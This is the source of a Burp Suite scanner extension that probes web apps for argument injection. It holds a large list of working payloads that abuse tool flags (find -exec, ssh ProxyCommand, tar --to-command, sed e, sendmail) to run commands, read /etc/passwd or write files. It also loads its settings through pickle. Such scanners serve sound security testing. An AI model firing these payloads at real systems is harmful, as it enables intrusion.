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ArgumentHammer.py
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ArgumentHammer.py
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from burp import IBurpExtender
from burp import IScannerCheck
from burp import IScanIssue
from burp import ITab
from array import array
from java.io import PrintWriter
from java.lang import RuntimeException
from javax.swing import (GroupLayout, JPanel, JCheckBox, JTextField, JLabel, JButton)
import pickle
import time
import os
import binascii
TARGET_FILES = ["/etc/passwd", "file:///etc/passwd"]
TARGET_CONTENTS = ["root:x:0:0", "root:*:0:0"]
TARGET_DIRECTORIES = ["/var/www/html/", "/var/www/"]
TARGET_SHELL_DELAY = ["sleep${IFS}20", "sleep 20"]
PREFIXES = [("", False), ("test ", False), ("'", True),("\"", True)]
TIMEOUT = 20
PAYLOAD_SHELL = 0
PAYLOAD_WRITE = 1
PAYLOAD_READ = 2
PAYLOAD_LANG_DELAY = 3
PAYLOADS = [("{QUOTE_WITH_SPACE}-T --unzip-command {AH_SHELL}; {QUOTE}", PAYLOAD_SHELL, "zip"),
("/dev/null{QUOTE} -exec {AH_SHELL} ; -type {QUOTE}f", PAYLOAD_SHELL, "find"),
("{QUOTE_WITH_SPACE}* -exec {AH_SHELL} ; -type {QUOTE}f", PAYLOAD_SHELL, "find"),
("{QUOTE_WITH_SPACE}-exec {AH_SHELL} ; -type {QUOTE}f", PAYLOAD_SHELL, "find"),
("/)system(\"{AH_SHELL}\")match($0,/", PAYLOAD_SHELL, "awk"),
("\")system(\"{AH_SHELL}\")sin(\"", PAYLOAD_SHELL, "awk"),
("\"system(\"{AH_SHELL}\")\"", PAYLOAD_SHELL, "awk"),
("{QUOTE_WITH_SPACE}{QUOTE}.shell {AH_SHELL}", PAYLOAD_SHELL, "sqlite3"),
("{QUOTE_WITH_SPACE}--open-files-in-pager={QUOTE}{AH_SHELL}; ", PAYLOAD_SHELL, "git"),
("--line-number{QUOTE} --open-files-in-pager={AH_SHELL}; {QUOTE}", PAYLOAD_SHELL, "git"),
("{QUOTE_WITH_SPACE}@{QUOTE}{AH_FILE}", PAYLOAD_READ, "readelf"),
("{QUOTE_WITH_SPACE}-a @{QUOTE}{AH_FILE}", PAYLOAD_READ, "readelf"),
("\\! {AH_SHELL}", PAYLOAD_SHELL, "mysql"),
("{QUOTE_WITH_SPACE}-e {QUOTE}SELECT/**/SLEEP(20)", PAYLOAD_LANG_DELAY, "mysql"),
("{QUOTE_WITH_SPACE}-e SELECT/**/SLEEP(20) --prompt {QUOTE}", PAYLOAD_LANG_DELAY, "mysql"),
("{QUOTE_WITH_SPACE}--excludefile {QUOTE}{AH_FILE}", PAYLOAD_READ, "nmap"),
("{QUOTE_WITH_SPACE}-e {QUOTE}sleep(20)", PAYLOAD_LANG_DELAY, "perl/ruby"),
("{QUOTE_WITH_SPACE}-e sleep(20) {QUOTE}", PAYLOAD_LANG_DELAY, "perl/ruby"),
("{QUOTE_WITH_SPACE}-r {QUOTE}sleep(20);", PAYLOAD_LANG_DELAY, "php"),
("/dev/null{QUOTE} -r {QUOTE}sleep(20);", PAYLOAD_LANG_DELAY, "php"),
("/dev/null{QUOTE} -r sleep(20); {QUOTE}", PAYLOAD_LANG_DELAY, "php"),
("{QUOTE_WITH_SPACE}-f /dev/null -r {QUOTE}sleep(20);", PAYLOAD_LANG_DELAY, "php"),
("{QUOTE_WITH_SPACE}-w {QUOTE}{AH_FILE}", PAYLOAD_READ, "php-cgi"),
("{QUOTE_WITH_SPACE}enc -in {QUOTE}{AH_FILE}", PAYLOAD_READ, "openssl"),
("{QUOTE_WITH_SPACE}-in {QUOTE}{AH_FILE}", PAYLOAD_READ, "openssl"),
("os.execute(string.char(115,108,101,101,112,32,50,48))", PAYLOAD_LANG_DELAY, "lua"),
("{QUOTE}-os.execute(string.char(115,108,101,101,112,32,50,48))-{QUOTE}", PAYLOAD_LANG_DELAY, "lua"),
("{QUOTE_WITH_SPACE}-e {QUOTE}os.execute(string.char(115,108,101,101,112,32,50,48))", PAYLOAD_LANG_DELAY, "lua"),
("/dev/null{QUOTE} -e {QUOTE}os.execute(string.char(115,108,101,101,112,32,50,48))", PAYLOAD_LANG_DELAY, "lua"),
("{QUOTE_WITH_SPACE}-e os.execute(string.char(115,108,101,101,112,32,50,48)) {QUOTE}", PAYLOAD_LANG_DELAY, "lua"),
("{QUOTE_WITH_SPACE}-c {QUOTE}__import__(chr(111)+chr(115)).system(chr(115)+chr(108)+chr(101)+chr(101)+chr(112)+chr(32)+chr(50)+chr(48))", PAYLOAD_LANG_DELAY, "python"),
("{QUOTE_WITH_SPACE}-c __import__(chr(111)+chr(115)).system(chr(115)+chr(108)+chr(101)+chr(101)+chr(112)+chr(32)+chr(50)+chr(48)) {QUOTE}", PAYLOAD_LANG_DELAY, "python"),
("{QUOTE_WITH_SPACE}-o ProxyCommand={QUOTE}{AH_SHELL}", PAYLOAD_SHELL, "ssh"),
("{QUOTE_WITH_SPACE}ProxyCommand={QUOTE}{AH_SHELL}", PAYLOAD_SHELL, "ssh"),
("{QUOTE_WITH_SPACE}-o {QUOTE}{AH_FILE}", PAYLOAD_WRITE, "wget/curl/sort"),
("{QUOTE_WITH_SPACE}-f {QUOTE}{AH_FILE}", PAYLOAD_READ, "date"),
("java.lang.Thread.sleep(20000)", PAYLOAD_LANG_DELAY, "jrunscript"),
("{QUOTE}-java.lang.Thread.sleep(20000)-{QUOTE}", PAYLOAD_LANG_DELAY, "jrunscript"),
("/dev/null{QUOTE} -e {QUOTE}java.lang.Thread.sleep(20000)", PAYLOAD_LANG_DELAY, "jrunscript"),
("{QUOTE_WITH_SPACE}-e java.lang.Thread.sleep(20000) {QUOTE}", PAYLOAD_LANG_DELAY, "jrunscript"),
("{QUOTE_WITH_SPACE}-e {QUOTE}java.lang.Thread.sleep(20000)", PAYLOAD_LANG_DELAY, "jrunscript"),
("{QUOTE_WITH_SPACE}--to-command={QUOTE}{AH_SHELL}", PAYLOAD_SHELL, "tar"),
("test@example.org{QUOTE} -C/etc/passwd -X{QUOTE}{AH_FILE}", PAYLOAD_WRITE, "sendmail"),
("{QUOTE_WITH_SPACE}-C/etc/passwd -X{QUOTE}{AH_FILE}", PAYLOAD_WRITE, "sendmail"),
("{QUOTE_WITH_SPACE}{QUOTE}{AH_FILE}", PAYLOAD_READ, "grep"),
("1e${IFS}exec${IFS}{AH_SHELL};", PAYLOAD_SHELL, "sed"),
("test2/g;1e${IFS}exec${IFS}{AH_SHELL};", PAYLOAD_SHELL, "sed"),
("test1/test2/g;1e${IFS}exec${IFS}{AH_SHELL};", PAYLOAD_SHELL, "sed")]
DEBUG = False
class BurpExtender(IBurpExtender, IScannerCheck, ITab):
def registerExtenderCallbacks(self, callbacks):
self._callbacks = callbacks
self._helpers = callbacks.getHelpers()
self._stdout = PrintWriter(callbacks.getStdout(), True)
callbacks.setExtensionName("Argument Injection Hammer")
self._create_brute_payloads()
self._stdout.println('==================================')
self._stdout.println(" ,")
self._stdout.println(" /( ___________")
self._stdout.println(" | >:===========`")
self._stdout.println(" )(")
self._stdout.println('== AIH "" Hammer Smash Party =====')
self._stdout.println('== Neil Bergman - NCC Group =====')
self._stdout.println('==================================')
self._checkbox_brute = self._define_check_box("Brute-force Short Argument Flags", False)
self._button_save = JButton("Save Configuration", actionPerformed=self._save_config)
self.tab = JPanel()
layout = GroupLayout(self.tab)
self.tab.setLayout(layout)
layout.setAutoCreateGaps(True)
layout.setAutoCreateContainerGaps(True)
layout.setHorizontalGroup(
layout.createSequentialGroup().addGroup(
layout.createParallelGroup()
.addComponent(self._checkbox_brute)
).addGroup(
layout.createParallelGroup()
.addComponent(self._button_save)
)
)
layout.setVerticalGroup(
layout.createSequentialGroup().addGroup(
layout.createParallelGroup()
.addComponent(self._checkbox_brute)
).addGroup(
layout.createParallelGroup()
.addComponent(self._button_save)
)
)
callbacks.addSuiteTab(self)
self._restore_config()
callbacks.registerScannerCheck(self)
return
def getTabCaption(self):
return("Argument Injection Hammer")
def getUiComponent(self):
return self.tab
def _define_check_box(self, caption, selected=True, enabled=True):
check_box = JCheckBox(caption)
check_box.setSelected(selected)
check_box.setEnabled(enabled)
return check_box
def _get_matches(self, response, match):
matches = []
start = 0
reslen = len(response)
matchlen = len(match)
while start < reslen:
start = self._helpers.indexOf(response, match, True, start, reslen)
if start == -1:
break
matches.append(array('i', [start, start + matchlen]))
start += matchlen
return matches
def _log(self, log_contents):
if DEBUG:
self._stdout.println(log_contents)
def _string_to_hex(self, string):
return "".join("{:02x}".format(ord(c)) for c in string)
def _restore_config(self, e=None):
stored_config = self._callbacks.loadExtensionSetting("config")
if stored_config != None:
try:
config = pickle.loads(stored_config)
self._checkbox_brute.setSelected(config['bruteShortArgumentFlags'])
except:
print("Unable to restore saved configuration: " + stored_config)
def _save_config(self, e=None):
config = {'bruteShortArgumentFlags': self._checkbox_brute.isSelected()}
self._callbacks.saveExtensionSetting("config", pickle.dumps(config))
def _create_brute_payloads(self):
BRUTE_CHARSET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
for c in BRUTE_CHARSET:
new_payload = "{QUOTE_WITH_SPACE}-" + c + " {QUOTE}{AH_FILE}"
should_add_payload = True
for payload_data in PAYLOADS:
if payload_data[0] == new_payload:
should_add_payload = False
if should_add_payload:
PAYLOADS.append((new_payload, PAYLOAD_READ, "Unknown"))
def _make_http_request(self, baseRequestResponse, new_uri):
http_service = baseRequestResponse.getHttpService()
host = http_service.getHost()
port = http_service.getPort()
http_request = "GET /" + new_uri + " HTTP/1.1\r\nHost: " + host + ":" + str(port) + "\r\nConnection: close\r\n\r\n"
http_request_bytes = self._helpers.stringToBytes(http_request)
self._log("HTTP Request (Bytes): \n" + self._string_to_hex(self._helpers.bytesToString(http_request_bytes)))
request_response = self._callbacks.makeHttpRequest(http_service, http_request_bytes)
response_info = self._helpers.analyzeResponse(request_response.getResponse())
return response_info
def _get_write_up(self, injection_type, injection_command_target, injection, target_file):
if injection_type == PAYLOAD_READ:
return ["Argument Injection - Arbitrary File Read",
"An argument injection vulnerability was found in the target web application. It appears that it is possible to manipulate arguments passed to the " + injection_command_target + " command, which can result in an arbitrary file read. The following payload was used to read the " + target_file + " file.\n\nPayload: " + injection]
elif injection_type == PAYLOAD_WRITE:
return ["Argument Injection - Arbitrary File Write",
"An argument injection vulnerability was found in the target web application. It appears that it is possible to manipulate arguments passed to the " + injection_command_target + " command, which can result in an arbitrary file write. The following payload was used to write the " + target_file + " file.\n\nPayload: " + injection]
elif injection_type == PAYLOAD_SHELL:
return ["Argument Injection - Shell Injection",
"An argument injection vulnerability was found in the target web application. It appears that it is possible to manipulate arguments passed to the " + injection_command_target + " command, which can result in an arbitrary command execution. The following payload was used to introduce a delay in the response time.\n\nPayload: " + injection]
elif injection_type == PAYLOAD_LANG_DELAY:
return ["Argument Injection - Code Injection",
"An argument injection vulnerability was found in the target web application. It appears that it is possible to manipulate arguments passed to the " + injection_command_target + " command, which can result in an arbitrary code injection. The following payload was used to introduce a delay in the response time.\n\nPayload: " + injection]
return None
def doPassiveScan(self, baseRequestResponse):
return None
def doActiveScan(self, baseRequestResponse, insertionPoint):
for payload in PAYLOADS:
injection = payload[0]
injection_type = payload[1]
injection_command_target = payload[2]
if self._checkbox_brute.isSelected() == False and injection_command_target == "Unknown":
# Ignore this type of payload if the user doesn't want to brute force short argument flags.
continue
for prefix in PREFIXES:
prefix_value = prefix[0]
quote_prefix = prefix[1]
if quote_prefix == True and "{QUOTE}" not in injection:
# Don't test quote prefix if payload doesn't have quote placeholders.
continue
elif quote_prefix == True:
# Replace the quote placeholders with actual quotes.
temp_injection_1 = injection.replace("{QUOTE}", prefix_value)
temp_injection_1 = temp_injection_1.replace("{QUOTE_WITH_SPACE}", prefix_value + " ")
else:
# Remove quote placeholders from payload.
temp_injection_1 = injection.replace("{QUOTE}", "")
temp_injection_1 = temp_injection_1.replace("{QUOTE_WITH_SPACE}", "")
temp_injection_1 = prefix_value + temp_injection_1
if injection_type == PAYLOAD_SHELL:
for injection_replacement in TARGET_SHELL_DELAY:
temp_injection_2 = temp_injection_1.replace("{AH_SHELL}", injection_replacement)
self._log("Payload: " + temp_injection_2)
checkRequest = insertionPoint.buildRequest(temp_injection_2)
timer = time.time()
checkRequestResponse = self._callbacks.makeHttpRequest(
baseRequestResponse.getHttpService(), checkRequest)
timer = time.time() - timer
self._log("Response Time: " + str(timer))
if timer > TIMEOUT:
checkRequest_2 = insertionPoint.buildRequest("test")
timer_2 = time.time()
checkRequestResponse_2 = self._callbacks.makeHttpRequest(
baseRequestResponse.getHttpService(), checkRequest_2)
timer_2 = time.time() - timer_2
self._log("Response Time: " + str(timer_2))
if timer_2 < TIMEOUT:
requestHighlights = [insertionPoint.getPayloadOffsets(temp_injection_2)]
write_up = self._get_write_up(PAYLOAD_SHELL, injection_command_target, temp_injection_2, None)
if write_up:
return [CustomScanIssue(
baseRequestResponse.getHttpService(),
self._helpers.analyzeRequest(baseRequestResponse).getUrl(),
[self._callbacks.applyMarkers(checkRequestResponse, requestHighlights, [])],
write_up[0], write_up[1], "High")]
if injection_type == PAYLOAD_LANG_DELAY:
self._log("Payload: " + temp_injection_1)
checkRequest = insertionPoint.buildRequest(temp_injection_1)
timer = time.time()
checkRequestResponse = self._callbacks.makeHttpRequest(
baseRequestResponse.getHttpService(), checkRequest)
timer = time.time() - timer
self._log("Response Time: " + str(timer))
if timer > TIMEOUT:
checkRequest2 = insertionPoint.buildRequest("test")
timer2 = time.time()
checkRequestResponse2 = self._callbacks.makeHttpRequest(
baseRequestResponse.getHttpService(), checkRequest2)
timer2 = time.time() - timer2
self._log("Response Time: " + str(timer2))
if timer2 < TIMEOUT:
requestHighlights = [insertionPoint.getPayloadOffsets(temp_injection_1)]
write_up = self._get_write_up(PAYLOAD_LANG_DELAY, injection_command_target, temp_injection_1, None)
if write_up:
return [CustomScanIssue(
baseRequestResponse.getHttpService(),
self._helpers.analyzeRequest(baseRequestResponse).getUrl(),
[self._callbacks.applyMarkers(checkRequestResponse, requestHighlights, [])],
write_up[0], write_up[1], "High")]
if injection_type == PAYLOAD_WRITE:
for target_directory in TARGET_DIRECTORIES:
random_file = binascii.b2a_hex(os.urandom(10))
target_file = target_directory + random_file
temp_injection_2 = temp_injection_1.replace("{AH_FILE}", target_file)
temp_injection_bytes = bytearray(temp_injection_2)
self._log("Payload: " + temp_injection_2)
checkRequest = insertionPoint.buildRequest(temp_injection_2)
checkRequestResponse = self._callbacks.makeHttpRequest(
baseRequestResponse.getHttpService(), checkRequest)
self._log("Original HTTP Request (Bytes): \n" + self._string_to_hex(self._helpers.bytesToString(checkRequest)))
response_info = self._make_http_request(baseRequestResponse, random_file)
response_status_code = response_info.getStatusCode()
self._log("Status: " + str(response_status_code))
if response_status_code == 200:
random_file_2 = binascii.b2a_hex(os.urandom(10))
response_info_2 = self._make_http_request(baseRequestResponse, random_file_2)
response_status_code_2 = response_info_2.getStatusCode()
self._log("Status: " + str(response_status_code_2))
if response_status_code_2 != 200:
requestHighlights = [insertionPoint.getPayloadOffsets(temp_injection_2)]
write_up = self._get_write_up(PAYLOAD_WRITE, injection_command_target, temp_injection_2, target_file)
if write_up:
return [CustomScanIssue(
baseRequestResponse.getHttpService(),
self._helpers.analyzeRequest(baseRequestResponse).getUrl(),
[self._callbacks.applyMarkers(checkRequestResponse, requestHighlights, [])],
write_up[0], write_up[1], "High")]
if injection_type == PAYLOAD_READ:
for target_file in TARGET_FILES:
temp_injection_2 = temp_injection_1.replace("{AH_FILE}", target_file)
temp_injection_bytes = bytearray(temp_injection_2)
self._log("Payload: " + temp_injection_2)
checkRequest = insertionPoint.buildRequest(temp_injection_2)
checkRequestResponse = self._callbacks.makeHttpRequest(
baseRequestResponse.getHttpService(), checkRequest)
for target_content in TARGET_CONTENTS:
target_content_bytes = bytearray(target_content)
matches = self._get_matches(checkRequestResponse.getResponse(), target_content_bytes)
orig_matches = self._get_matches(baseRequestResponse.getResponse(), target_content_bytes)
if len(matches) > 0 and len(orig_matches) == 0:
requestHighlights = [insertionPoint.getPayloadOffsets(temp_injection_bytes)]
write_up = self._get_write_up(PAYLOAD_READ, injection_command_target, temp_injection_2, target_file)
if write_up:
return [CustomScanIssue(
baseRequestResponse.getHttpService(),
self._helpers.analyzeRequest(baseRequestResponse).getUrl(),
[self._callbacks.applyMarkers(checkRequestResponse, requestHighlights, matches)],
write_up[0], write_up[1], "High")]
return None
def consolidateDuplicateIssues(self, existingIssue, newIssue):
if existingIssue.getIssueName() == newIssue.getIssueName():
return -1
return 0
class CustomScanIssue (IScanIssue):
def __init__(self, httpService, url, httpMessages, name, detail, severity):
self._httpService = httpService
self._url = url
self._httpMessages = httpMessages
self._name = name
self._detail = detail
self._severity = severity
def getUrl(self):
return self._url
def getIssueName(self):
return self._name
def getIssueType(self):
return 0
def getSeverity(self):
return self._severity
def getConfidence(self):
return "Certain"
def getIssueBackground(self):
pass
def getRemediationBackground(self):
pass
def getIssueDetail(self):
return self._detail
def getRemediationDetail(self):
pass
def getHttpMessages(self):
return self._httpMessages
def getHttpService(self):
return self._httpService